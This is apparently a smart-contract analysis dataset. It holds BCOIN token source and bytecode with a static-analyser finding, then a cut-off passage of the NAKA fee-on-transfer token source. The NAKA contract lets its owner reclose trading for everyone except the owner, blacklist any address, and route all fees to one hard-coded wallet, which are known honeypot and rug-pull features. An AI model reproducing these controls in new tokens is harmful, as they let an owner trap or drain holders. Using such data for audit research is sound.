whenNotFrozen(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotFrozen(msg.sender) whenNotFrozen(_to) whenNotFrozen(_from) returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotFrozen(_spender) whenNotFrozen(msg.sender) returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotFrozen(msg.sender) whenNotFrozen(_spender) returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotFrozen(msg.sender) whenNotFrozen(_spender) returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: src/Token/ReleasableToken.sol contract ReleasableToken is MintableToken { bool public released = false; event Release(); modifier isReleased () { require(mintingFinished); require(released); _; } function release() public onlyOwner returns (bool) { require(mintingFinished); require(!released); released = true; emit Release(); return true; } function transfer(address _to, uint256 _value) public isReleased returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public isReleased returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public isReleased returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public isReleased returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public isReleased returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } // File: src/Token/StandardTokenWithCall.sol contract ApprovalReceiver { function receiveApproval(address from, uint value, address tokenContract, bytes extraData) public returns (bool); } contract StandardTokenWithCall is StandardToken { function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { assert(approve(_spender, _value)); return ApprovalReceiver(_spender).receiveApproval(msg.sender, _value, this, _extraData); } } // File: src/Token/BCoinToken.sol contract BCoinToken is StandardTokenWithCall, ReleasableToken, FreezableToken, FallBackToken { string public constant name = "BCOIN"; string public constant symbol = "BCOIN"; uint256 public constant decimals = 2; }
0x60606040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012257806306fdde031461014f578063095ea7b3146101dd57806318160ddd1461023757806323b872dd14610260578063313ce567146102d957806340c10f1914610302578063661884631461035c5780636c169818146103b657806370a08231146104075780637d64bcb41461045457806386d1a69f146104815780638da5cb5b146104ae57806395d89b41146105035780639613252114610591578063a9059cbb146105be578063cae9ca5114610618578063d73dd623146106b5578063dd62ed3e1461070f578063e724529c1461077b578063f2fde38b146107bf575b600080fd5b341561012d57600080fd5b6101356107f8565b604051808215151515815260200191505060405180910390f35b341561015a57600080fd5b61016261080b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a2578082015181840152602081019050610187565b50505050905090810190601f1680156101cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e857600080fd5b61021d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610844565b604051808215151515815260200191505060405180910390f35b341561024257600080fd5b61024a61090e565b6040518082815260200191505060405180910390f35b341561026b57600080fd5b6102bf600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610918565b604051808215151515815260200191505060405180910390f35b34156102e457600080fd5b6102ec610a3f565b6040518082815260200191505060405180910390f35b341561030d57600080fd5b610342600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a44565b604051808215151515815260200191505060405180910390f35b341561036757600080fd5b61039c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c2a565b604051808215151515815260200191505060405180910390f35b34156103c157600080fd5b6103ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cf4565b604051808215151515815260200191505060405180910390f35b341561041257600080fd5b61043e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d4a565b6040518082815260200191505060405180910390f35b341561045f57600080fd5b610467610d92565b604051808215151515815260200191505060405180910390f35b341561048c57600080fd5b610494610e5a565b604051808215151515815260200191505060405180910390f35b34156104b957600080fd5b6104c1610f3d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561050e57600080fd5b610516610f63565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561055657808201518184015260208101905061053b565b50505050905090810190601f1680156105835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059c57600080fd5b6105a4610f9c565b604051808215151515815260200191505060405180910390f35b34156105c957600080fd5b6105fe600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610faf565b604051808215151515815260200191505060405180910390f35b341561062357600080fd5b61069b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611091565b604051808215151515815260200191505060405180910390f35b34156106c057600080fd5b6106f5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611208565b604051808215151515815260200191505060405180910390f35b341561071a57600080fd5b610765600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112d2565b6040518082815260200191505060405180910390f35b341561078657600080fd5b6107bd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611359565b005b34156107ca57600080fd5b6107f6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114bb565b005b600360149054906101000a900460ff1681565b6040805190810160405280600581526020017f42434f494e00000000000000000000000000000000000000000000000000000081525081565b600082600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156108a057600080fd5b33600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156108fa57600080fd5b6109048585611613565b9250505092915050565b6000600154905090565b600033600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561097457600080fd5b83600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156109ce57600080fd5b85600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610a2857600080fd5b610a3387878761165d565b93505050509392505050565b600281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aa257600080fd5b600360149054906101000a900460ff16151515610abe57600080fd5b610ad3826001546116a990919063ffffffff16565b600181905550610b2a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600033600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610c8657600080fd5b83600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610ce057600080fd5b610cea85856116c7565b9250505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610df057600080fd5b600360149054906101000a900460ff16151515610e0c57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eb857600080fd5b600360149054906101000a900460ff161515610ed357600080fd5b600360159054906101000a900460ff16151515610eef57600080fd5b6001600360156101000a81548160ff0219169083151502179055507fdf3164c6542982869e04c28f5083f269f2b72ca4bff9a7e792f5c0422788bbc560405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f42434f494e00000000000000000000000000000000000000000000000000000081525081565b600360159054906101000a900460ff1681565b6000610fbb8383611711565b1515610fc657600080fd5b610fcf836117db565b15611087578273ffffffffffffffffffffffffffffffffffffffff16633b66d02b33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561107657600080fd5b5af1151561108357600080fd5b5050505b6001905092915050565b600061109d8484610844565b15156110a557fe5b8373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561119a57808201518184015260208101905061117f565b50505050905090810190601f1680156111c75780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15156111e857600080fd5b5af115156111f557600080fd5b5050506040518051905090509392505050565b600033600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561126457600080fd5b83600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156112be57600080fd5b6112c885856117ee565b9250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113b557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156113f157600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561155357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360149054906101000a900460ff16151561163057600080fd5b600360159054906101000a900460ff16151561164b57600080fd5b6116558383611838565b905092915050565b6000600360149054906101000a900460ff16151561167a57600080fd5b600360159054906101000a900460ff16151561169557600080fd5b6116a084848461192a565b90509392505050565b60008082840190508381101515156116bd57fe5b8091505092915050565b6000600360149054906101000a900460ff1615156116e457600080fd5b600360159054906101000a900460ff1615156116ff57600080fd5b6117098383611ce4565b905092915050565b600033600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561176d57600080fd5b83600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117c757600080fd5b6117d18585611f75565b9250505092915050565b600080823b905060008111915050919050565b6000600360149054906101000a900460ff16151561180b57600080fd5b600360159054906101000a900460ff16151561182657600080fd5b6118308383611fbf565b905092915050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561196757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156119b457600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a3f57600080fd5b611a90826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bb90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b23826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bf482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bb90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611df5576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e89565b611e0883826121bb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff161515611f9257600080fd5b600360159054906101000a900460ff161515611fad57600080fd5b611fb783836121d4565b905092915050565b600061205082600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008282111515156121c957fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561221157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561225e57600080fd5b6122af826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bb90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612342826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a723058203abe82d31859c5057c79181d1d46bde6d07c77f6de663f3dbe0833d1f9f5da2f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
5,629
0x08385e2758a610c64202fa717867264ae75f37f8
/** *Submitted for verification at Etherscan.io on 2022-04-15 */ /** ___ ___ ___ ___ /\__\ /\ \ /\__\ /\ \ /:| _|_ /::\ \ /:/ _/_ /::\ \ /::|/\__\ /::\:\__\ /::-"\__\ /::\:\__\ \/|::/ / \/\::/ / \;:;-",-" \/\::/ / |:/ / /:/ / |:| | /:/ / \/__/ \/__/ \|__| \/__/ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Nakamoto is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Nakamoto"; string private constant _symbol = "NAKA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x65C31B63CE8249C73EA16895a8CebAa69F2fc7DC); address payable private _marketingAddress = payable(0x65C31B63CE8249C73EA16895a8CebAa69F2fc7DC); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000000 * 10**9; uint256 public _maxWalletSize = 50000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, 